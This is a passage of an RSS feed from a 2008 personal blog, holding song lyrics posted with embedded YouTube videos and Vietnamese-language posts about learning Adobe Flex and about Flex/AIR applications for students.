url="http://www.youtube.com/v/U876wFAA4PI&amp;hl=en&amp;fs=1" fileSize="1027" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> This is for my shawtyyy... (yeah) This is for my shawtyyy... (yo stevie) [Chorus: x2] People always breaking up Falling in and out of love I just wanna' let u know Ama' never let u go - for the rest of my life, gonna' be by your side [Verse 1:] Sometimes</itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary> This is for my shawtyyy... (yeah) This is for my shawtyyy... (yo stevie) [Chorus: x2] People always breaking up Falling in and out of love I just wanna' let u know Ama' never let u go - for the rest of my life, gonna' be by your side [Verse 1:] Sometimes she drives me crazy But I don't give a damn Every time I need my baby She'll always be around The only one that's been down with me, through all of this time My homies think I'm trippin' Tell me I'm wasting my time It's only cause' they can't Find a girl that's hot like mine There's no where else that I'd rather be, so ama' let the whole world know. [Pre-chorus:] Girl your, the only one for me The only sex I need No one else can make me feel, the way my baby does' That why... [Chorus: x2] People always breaking up Falling in and out of love I just wanna' let u know Ama' never let u go - for the rest of my life, gonna' be by your side [Verse 2:] Girl you don't have to worry when I'm all up in the club Cause' no one else will ever come between the two of us It's crazy how u got me hooked, babe I'm doing things I never do, babe And every time I close my eyes, I thank the lord (that I have u) You're everything a man could want For the rest of my life, And I'll put that on everything [Chorus: x2] People always breaking up Falling in and out of love I just wanna' let u know Ama' never let u go - for the rest of my life, gonna' be by your side This is for my shawtyyy, girl u got my back and baby I got yours (ohh baby) This is for my shawtyyy, I've seen a dime' or two, but they don't compare to you. This is for my shawtyyy, Girl u got my back and baby I got yours This is for my shawtyyy, I've seen a dime' or two, but they don't compare to you. [Chorus: x2] People always breaking up Falling in and out of love I just wanna' let u know Ama' never let u go - for the rest of my life, gonna' be by your side </itunes:summary><itunes:keywords>Music Collection</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2008/11/shawty-stevie-hoang.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-3858355625930829303</guid><pubDate>Mon, 24 Nov 2008 15:44:00 +0000</pubDate><atom:updated>2008-11-24T22:46:53.105+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Music Collection</category><title>If I Was The One - STEVIE HOANG</title><description>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/SY3fg43Mgko&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/SY3fg43Mgko&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Click Read More to see the lyric.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;Girl I See The Way He Treats You&lt;br /&gt;I Feel The Pain And The Tears You Cry&lt;br /&gt;Why Do U Let Him Do This To U Everytime Baby Everytime&lt;br /&gt;Now Girl I Got A Proposition&lt;br /&gt;Girl You's A Queen U Should Be With Me&lt;br /&gt;Il Take You On A Private Journey,Just U And Me&lt;br /&gt;&lt;br /&gt;If I Was The One Who Was Loving U&lt;br /&gt;Id Do All The Things That He Wont Do&lt;br /&gt;Ill Give You What U Need Be So Good To You&lt;br /&gt;Everynight Everynight&lt;br /&gt;Girl I Know Its Hard But You Can Trust In Me&lt;br /&gt;Ill Be All The Man That You Could Ever Need&lt;br /&gt;Baby Its Bout Time That You Should Walk Away&lt;br /&gt;Give Me The Chance, Let Me Be The One&lt;br /&gt;&lt;br /&gt;Girl I Know The Situation&lt;br /&gt;You've Been With Him Now For So Long&lt;br /&gt;But U Dont Have To Stay With Someone That Makes U Cry&lt;br /&gt;Always Telling U Lies&lt;br /&gt;Now Girl Its Obvious That He Will Never Change&lt;br /&gt;So Heres Your Chance Girl Up And Leave&lt;br /&gt;You Need That Special Kind Of Guy To Treat U Right&lt;br /&gt;Sounds Like The Job For Me&lt;br /&gt;&lt;br /&gt;Let Me Hear U Say, You'll Pack Your Bags And Walk Alway&lt;br /&gt;Let Me Hear U Say, That U Wont Stay Another Day&lt;br /&gt;Let Me Hear U Say, Girl That U Wont Be Afraid&lt;br /&gt;Let Me Hear U Say, That U Gon Find A Better Day &lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3858355625930829303?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/6y6bZ2FPEd4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/6y6bZ2FPEd4/if-i-was-one-stevie-hoang.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.youtube.com/v/SY3fg43Mgko&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" length="1021" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/SY3fg43Mgko&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" fileSize="1021" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Click Read More to see the lyric. Girl I See The Way He Treats You I Feel The Pain And The Tears You Cry Why Do U Let Him Do This To U Everytime Baby Everytime Now Girl I Got A Proposition Girl You's A Queen U Should Be With Me Il Take You On A Private J</itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary> Click Read More to see the lyric. Girl I See The Way He Treats You I Feel The Pain And The Tears You Cry Why Do U Let Him Do This To U Everytime Baby Everytime Now Girl I Got A Proposition Girl You's A Queen U Should Be With Me Il Take You On A Private Journey,Just U And Me If I Was The One Who Was Loving U Id Do All The Things That He Wont Do Ill Give You What U Need Be So Good To You Everynight Everynight Girl I Know Its Hard But You Can Trust In Me Ill Be All The Man That You Could Ever Need Baby Its Bout Time That You Should Walk Away Give Me The Chance, Let Me Be The One Girl I Know The Situation You've Been With Him Now For So Long But U Dont Have To Stay With Someone That Makes U Cry Always Telling U Lies Now Girl Its Obvious That He Will Never Change So Heres Your Chance Girl Up And Leave You Need That Special Kind Of Guy To Treat U Right Sounds Like The Job For Me Let Me Hear U Say, You'll Pack Your Bags And Walk Alway Let Me Hear U Say, That U Wont Stay Another Day Let Me Hear U Say, Girl That U Wont Be Afraid Let Me Hear U Say, That U Gon Find A Better Day </itunes:summary><itunes:keywords>Music Collection</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2008/11/if-i-was-one-stevie-hoang.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-2708200628985230268</guid><pubDate>Mon, 24 Nov 2008 15:02:00 +0000</pubDate><atom:updated>2008-11-24T22:33:58.864+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Music Collection</category><title>Angel Of Mine</title><description>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/HI0YCk2aQQ8&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/HI0YCk2aQQ8&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br&gt;&lt;br /&gt;Click Read More to see the lyric.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;    When I first saw You I already knew&lt;br /&gt;    There was something inside of You&lt;br /&gt;    Something I thought that I would never find&lt;br /&gt;    Angel of mine&lt;br /&gt;&lt;br /&gt;    I look at You lookin' at me&lt;br /&gt;    Now I know why they say&lt;br /&gt;         the best things are free&lt;br /&gt;    I'm gonna love You boy, You are so fine&lt;br /&gt;    Angel of Mine&lt;br /&gt;    The Boy Is Mine, by Monica&lt;br /&gt;&lt;br /&gt;    How You changed my world, You'll never know&lt;br /&gt;    I'm different now, You helped me grow&lt;br /&gt;    You came into my life sent from Above&lt;br /&gt;    When I lost all hope you showed me Love&lt;br /&gt;    I'm checkin' for Ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    Nothing means more to me than what we share&lt;br /&gt;    No one in this whole world can ever compare&lt;br /&gt;    Last night the way You moved&lt;br /&gt;         is still on my mind&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    What You mean to me You'll never know&lt;br /&gt;    Deep inside I need to show&lt;br /&gt;    You came into my life sent from Above&lt;br /&gt;    When I lost all hope, You showed me Love&lt;br /&gt;    I'm checkin' for Ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    I never knew I could feel these moments&lt;br /&gt;    As if they were new,&lt;br /&gt;    Every breath that I take,&lt;br /&gt;         the Love that we make&lt;br /&gt;    I only share it with You, You, You, You, You&lt;br /&gt;    When I first saw You I already knew&lt;br /&gt;    There was something inside of You&lt;br /&gt;    Something I thought that I would never find&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    You came into my life sent from Above&lt;br /&gt;    When I lost all hope You showed me Love&lt;br /&gt;    I'm checkin' for ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;br /&gt;    How you changed my world You'll never know&lt;br /&gt;    I'm different now, You helped me grow&lt;br /&gt;&lt;br /&gt;    I look at You lookin' at me&lt;br /&gt;    Now I know why they say&lt;br /&gt;         the best things are free&lt;br /&gt;    I'm checkin' for Ya, boy You're right on time&lt;br /&gt;    Angel of Mine&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2708200628985230268?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/l3C4yi-oNdw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/l3C4yi-oNdw/angel-of-mine.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.youtube.com/v/HI0YCk2aQQ8&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" length="1035" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/HI0YCk2aQQ8&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" fileSize="1035" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Click Read More to see the lyric. When I first saw You I already knew There was something inside of You Something I thought that I would never find Angel of mine I look at You lookin' at me Now I know why they say the best things are free I'm gonna love </itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary> Click Read More to see the lyric. When I first saw You I already knew There was something inside of You Something I thought that I would never find Angel of mine I look at You lookin' at me Now I know why they say the best things are free I'm gonna love You boy, You are so fine Angel of Mine The Boy Is Mine, by Monica How You changed my world, You'll never know I'm different now, You helped me grow You came into my life sent from Above When I lost all hope you showed me Love I'm checkin' for Ya, boy You're right on time Angel of Mine Nothing means more to me than what we share No one in this whole world can ever compare Last night the way You moved is still on my mind Angel of Mine What You mean to me You'll never know Deep inside I need to show You came into my life sent from Above When I lost all hope, You showed me Love I'm checkin' for Ya, boy You're right on time Angel of Mine I never knew I could feel these moments As if they were new, Every breath that I take, the Love that we make I only share it with You, You, You, You, You When I first saw You I already knew There was something inside of You Something I thought that I would never find Angel of Mine You came into my life sent from Above When I lost all hope You showed me Love I'm checkin' for ya, boy You're right on time Angel of Mine How you changed my world You'll never know I'm different now, You helped me grow I look at You lookin' at me Now I know why they say the best things are free I'm checkin' for Ya, boy You're right on time Angel of Mine </itunes:summary><itunes:keywords>Music Collection</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2008/11/angel-of-mine.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-827438003205369618</guid><pubDate>Fri, 10 Oct 2008 06:06:00 +0000</pubDate><atom:updated>2008-10-10T13:08:08.194+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">flex</category><category domain="http://www.blogger.com/atom/ns#">ria</category><category domain="http://www.blogger.com/atom/ns#">silverlight vs flex/ria</category><category domain="http://www.blogger.com/atom/ns#">silverlight</category><title>Thống kê trực tuyến về thị phần RIA giữa Flash/Flex vs Silverlight</title><description>&lt;span class="submitted"&gt;&lt;/span&gt;&lt;a href="http://riastats.com/"&gt;RIAstats.com&lt;/a&gt; là ứng dụng thống kê trực tuyến dưới dạng biểu đồ cho phép phân tích việc triển khai máy ảo Flash/Flex và Silverlight trên các hệ điều hành và trình duyệt. Bạn cũng có thể nhận tin thống kê về &lt;a href="http://riastats.com/"&gt;RIAstats.com&lt;/a&gt; trên website của bạn - miễn phí!&lt;div class="content clear-block"&gt; &lt;p style="text-align: center;" class="rtecenter"&gt;&lt;img alt="" src="http://www.riavietnam.com/images/image/riastats_sm.jpg" width="420" height="201" /&gt;&lt;/p&gt; &lt;p style="text-align: center;" class="rtecenter"&gt;&lt;img alt="" src="http://www.riavietnam.com/images/image/riastats2_sm.jpg" width="420" height="201" /&gt;&lt;/p&gt;&lt;p style="text-align: right;" class="rtecenter"&gt;&lt;span style="font-style: italic;"&gt;http://www.riavietnam.com/node/139&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-827438003205369618?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/EJskaNaGpx4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/EJskaNaGpx4/thng-k-trc-tuyn-v-th-phn-ria-gia.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2008/10/thng-k-trc-tuyn-v-th-phn-ria-gia.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-5737708563980014064</guid><pubDate>Fri, 10 Oct 2008 05:34:00 +0000</pubDate><atom:updated>2008-10-10T12:42:03.388+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">learn flex</category><category domain="http://www.blogger.com/atom/ns#">flex</category><category domain="http://www.blogger.com/atom/ns#">ria</category><category domain="http://www.blogger.com/atom/ns#">learn flex online</category><category domain="http://www.blogger.com/atom/ns#">học flex</category><title>Flex - Watch and learn now!</title><description>Flash Extensions is dedicated in providing video tutorials focused around developing and deploying the Flash Platform including Flash, Flex, ActionScript and relating technologies. We all know that mastering Flash is not enough. That is why we also cover topics on how to integrate Flash with desktop and server-side applications such as PHP, AMF Remoting, real-time communication (such as Red 5) and more. The current library has over 200 video tutorials on various topics. Each is delivered with information that can only be obtained through experience in the work field. Now that information is available to you!&lt;br /&gt;&lt;br /&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="520" height="520"&gt;&lt;br /&gt;       &lt;param name="movie" value="http://www.flashextensions.com/flx/flash/quickvideoaccess.swf?v=1206"&gt;&lt;br /&gt;       &lt;param name="quality" value="high"&gt;&lt;br /&gt;       &lt;embed src="http://www.flashextensions.com/flx/flash/quickvideoaccess.swf?v=1206" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="520" height="520"&gt;&lt;/embed&gt;&lt;br /&gt;     &lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Original link url: &lt;a href="http://www.flashextensions.com/tutorials.php"&gt;http://www.flashextensions.com/tutorials.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5737708563980014064?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/2UqSWFSQx_s" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/2UqSWFSQx_s/flex-watch-and-learn-now.html</link><author>noreply@blogger.com (DangLVH)</author><enclosure url="http://www.flashextensions.com/flx/flash/quickvideoaccess.swf?v=1206" length="86404" type="application/x-shockwave-flash" /><media:content url="http://www.flashextensions.com/flx/flash/quickvideoaccess.swf?v=1206" fileSize="86404" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Flash Extensions is dedicated in providing video tutorials focused around developing and deploying the Flash Platform including Flash, Flex, ActionScript and relating technologies. We all know that mastering Flash is not enough. That is why we also cover </itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary>Flash Extensions is dedicated in providing video tutorials focused around developing and deploying the Flash Platform including Flash, Flex, ActionScript and relating technologies. We all know that mastering Flash is not enough. That is why we also cover topics on how to integrate Flash with desktop and server-side applications such as PHP, AMF Remoting, real-time communication (such as Red 5) and more. The current library has over 200 video tutorials on various topics. Each is delivered with information that can only be obtained through experience in the work field. Now that information is available to you! Original link url: http://www.flashextensions.com/tutorials.php</itunes:summary><itunes:keywords>learn flex, flex, ria, learn flex online, học flex</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2008/10/flex-watch-and-learn-now.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-365601897684432223</guid><pubDate>Fri, 10 Oct 2008 05:29:00 +0000</pubDate><atom:updated>2008-10-10T12:32:00.659+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">learn flex</category><category domain="http://www.blogger.com/atom/ns#">flex</category><category domain="http://www.blogger.com/atom/ns#">ria</category><category domain="http://www.blogger.com/atom/ns#">học flex</category><title>Flex in a Week - Học Adobe Flex trong vòng một tuần [FREE]</title><description>&lt;div class="content clear-block"&gt;     &lt;p&gt;Nếu bạn đang nghĩ về việc học Flex nhưng lại cảm thấy quá khó, chi phí học quá đắt hoặc tốn nhiều thời gian, &lt;a href="http://www.adobe.com/devnet/flex/videotraining/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; của Adobe sẽ có cách hổ trợ bạn.&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.adobe.com/devnet/flex/videotraining/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; là chương trình dạy học miễn phí thông qua serie video hướng dẫn để bạn có thể học và tự đánh giá. Chương trình được xây dựng trên những bài tập cơ bản và mang đến thêm những khái nhiệm dành cho người học trung cấp. Tất cả là đủ để bạn bắt đầu!&lt;/p&gt; &lt;p&gt;Nếu bạn đi đến khó khăn hoặc có thắc mắc, bạn có thể đặt câu hỏi tại diễn đàn &lt;a href="http://www.adobe.com/cfusion/webforums/forum/categories.cfm?forumid=60&amp;amp;catid=833&amp;amp;entercat=y"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week forum&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Xin gửi lời cám ơn đến  &lt;a href="http://weblogs.macromedia.com/mchotin/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Matt Chotin&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; và nhóm cộng đồng Flex, &lt;a href="http://www.onflex.org/ted/index.php"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Ted Patrick&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;  và nhóm quản trị cộng đồng, cũng như &lt;a href="http://www.brightcove.com/about_brightcove/index.cfm"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Jeremy Allaire&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; và &lt;a href="http://www.brightcove.com/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Brightcove posse&lt;/span&gt;&lt;/u&gt;&lt;/a&gt;, đã làm tất cả để &lt;a href="http://www.adobe.com/devnet/flex/videotraining/"&gt;&lt;u&gt;&lt;span style="color:#19457f;"&gt;Flex in a Week&lt;/span&gt;&lt;/u&gt;&lt;/a&gt; có thể đến với bạn. &lt;img class="wp-smiley" alt=":-)" src="http://blog.schematic.com.au/wp-includes/images/smilies/icon_smile.gif" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="font-style: italic;"&gt;Thông tin được lược dịch từ blog.schematic.com.au&lt;/p&gt;   &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-365601897684432223?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/t4BSjaLYm9Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/t4BSjaLYm9Y/flex-in-week-hc-adobe-flex-trong-vng-mt.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2008/10/flex-in-week-hc-adobe-flex-trong-vng-mt.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-4548523836124979772</guid><pubDate>Fri, 10 Oct 2008 05:05:00 +0000</pubDate><atom:updated>2008-10-10T12:27:36.170+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">learn flex</category><category domain="http://www.blogger.com/atom/ns#">flex application</category><category domain="http://www.blogger.com/atom/ns#">flex</category><category domain="http://www.blogger.com/atom/ns#">ria</category><title>Top 10 ứng dụng Flex và Air dành cho sinh viên</title><description>&lt;div class="content clear-block"&gt;     &lt;p&gt;Là sinh viên học Đại học là một kinh nghiệm tuyệt vời. Việc chuẩn bị cho một chương mới cho cuộc sống, và sau đó là đạt được sự độc lập. Tuy nhiên, trong suốt quãng đời sinh viên, bạn sẽ thấy những khó khăn như học phí quá đắt, và bạn phải làm thêm để vượt qua điều đó. Areez Gangji, sinh viên của Adobe tại đại học Carleton , sẽ giới thiệu đến bạn Top 10 ứng dụng Flex và Air dành cho sinh viên. Những ứng dụng này sẽ hổ trợ rất nhiều cho các sinh viên trong việc học tập và giải trí (nói như vậy không có nghĩa bạn không thể sử dụng các ứng dụng này nếu bạn không phải là sinh viên):&lt;/p&gt; &lt;h3&gt;10. &lt;a target="_blank" href="http://www.timetoast.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Timetoast&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Phải ghi nhớ rất nhiều ngày tháng với những sự kiện quan trọng. Timetoast sẽ giúp bạn tổ chức chúng một cách dễ nhớ. Thêm vào ngày tháng với những miêu tả, ghi chú và Timetoast sẽ sắp xếp theo thứ tự cây thước thời gian. Bạn cũng có thể thêm hình ảnh và chọn cây thước thời gian mà các người dủng khác tạo ra.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.timetoast.com/"&gt;&lt;img alt="Timetoast" src="http://www.riavietnam.com/images/image/Top10-1.jpg" width="400" height="328" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;9. &lt;a target="_blank" href="http://www.cldesktop.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Craig's List Desktop&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;CL Desktop giúp bạn tìm kiếm một cách dễ hơn. Hình ảnh được thể hiện trong danh sách. Việc tìm kiếm cũng có nhiều lực chọn hơn.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.cldesktop.com/"&gt;&lt;img alt="Craig's List Desktop" src="http://www.riavietnam.com/images/image/Top10-2.jpg" width="430" height="403" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;8. &lt;a target="_blank" href="http://www.tweetdeck.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;TweetDeck&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Twitter là mạng xã hội để bạn nói với cả thế giới về những điều bạn đang nghĩ hay đang làm. TweetDeck là ứng dụng hổ trợ Twitter của bạn. Nó để bạn đọc và viết tweets ngoài các trình duyệt và có thể giấu nó ở một góc trên màn hình để không phiền hà đến các công việc khác của bạn.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.tweetdeck.com/"&gt;&lt;img alt="TweetDeck" src="http://www.riavietnam.com/images/image/Top10-3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;7. &lt;a target="_blank" href="http://www.iexpenseonline.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;IExpenseOnline&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;IExpenseOnline giống như một tư vấn tài chính trong máy tính. Nó giúp theo dõi chi phí, thu nhập và cung cấp các mẹo vặt để cắt giảm chi phí, tiết kiệm tiền của bạn. Đặc biệt, với những biểu đồ thống kê sẽ giúp mô tả cho những người quan tâm đến tài chính của bạn.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://www.iexpenseonline.com/"&gt;&lt;img alt="IExpenseOnline" src="http://www.riavietnam.com/images/image/Top10-4.jpg" width="414" height="473" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;6. &lt;a target="_blank" href="http://tokbox.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;TokBox&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Cám ơn TokBox, vì bạn sẽ không bao giờ phải mua một thẻ gọi khác nữa. TokBox cho bạn gọi bất cứ ai với một địa chỉ email và để lại tin nhắn. Bạn có thể truy cập danh sách mối quan hệ (contact list) từ MSN, AIM, ... Bạn còn có thể thu âm, ghi phim khi bạn có web cam để chia sẻ với gia đình và bạn bè.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;img alt="TokBox" src="http://www.riavietnam.com/images/image/Top10-5.jpg" /&gt;&lt;/p&gt; &lt;h3&gt;5. &lt;a target="_blank" href="http://www.photoshopexpress.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Photoshop Express&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Với Photoshop Express, chắc bạn sẽ biết là ứng dụng gì?. Nếu không thì bạn hãy xem phần giới thiệu trong các bài viết &lt;a title="Sử dụng trình biên tập ảnh Photoshop trực tuyến" href="http://www.riavietnam.com/node/61"&gt;Sử dụng trình biên tập ảnh Photoshop trực tuyến&lt;/a&gt;, &lt;a title="Adobe nâng cấp phiên bản trực tuyến Photoshop Express" href="http://www.riavietnam.com/node/115"&gt;Adobe nâng cấp phiên bản trực tuyến Photoshop Express&lt;/a&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;a target="_blank" href="http://www.photoshopexpress.com/"&gt;&lt;img alt="Photoshop Express" src="http://www.riavietnam.com/images/image/Top10006.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;4. &lt;a target="_blank" href="http://mooflair.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;mooFlair&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;mooFlair là một trong dịch vụ cung cấp video tốt nhất cho desktop. Nó cho phép bạn liên tục xem video trong khi tìm kiếm những gì bạn mong muốn xem kế tiếp, tạo &amp;amp; truy cập playlists, và download videos về máy để sử dụng với iPod.&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://mooflair.com/"&gt;&lt;img alt="mooFlair" src="http://www.riavietnam.com/images/image/Top10007.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;3. &lt;a target="_blank" href="http://finetune.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Finetune&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Internet radio trở nên tốt hơn với Finetune, một trong 100 Webware hay nhất hiện nay, là dịch vụ chia sẻ nhạc. Bạn có thể đọc thêm tại bài viết &lt;a title="Nghe nhạc với Finetune Desktop" href="http://www.riavietnam.com/node/69"&gt;Nghe nhạc với Finetune Desktop&lt;/a&gt;&lt;/p&gt; &lt;p class="rtecenter"&gt;&lt;a target="_blank" href="http://finetune.com/"&gt;&lt;img alt="Finetune" src="http://www.riavietnam.com/images/image/Top10-8.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3&gt;2. &lt;a target="_blank" href="http://acrobat.com/"&gt;&lt;span style="color: rgb(0, 102, 204);"&gt;Acrobat.com&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Acrobat.com là sản phẩm của Adobe mà giúp bạn làm việc theo cách nhóm việc với những chức năng:&lt;/p&gt; 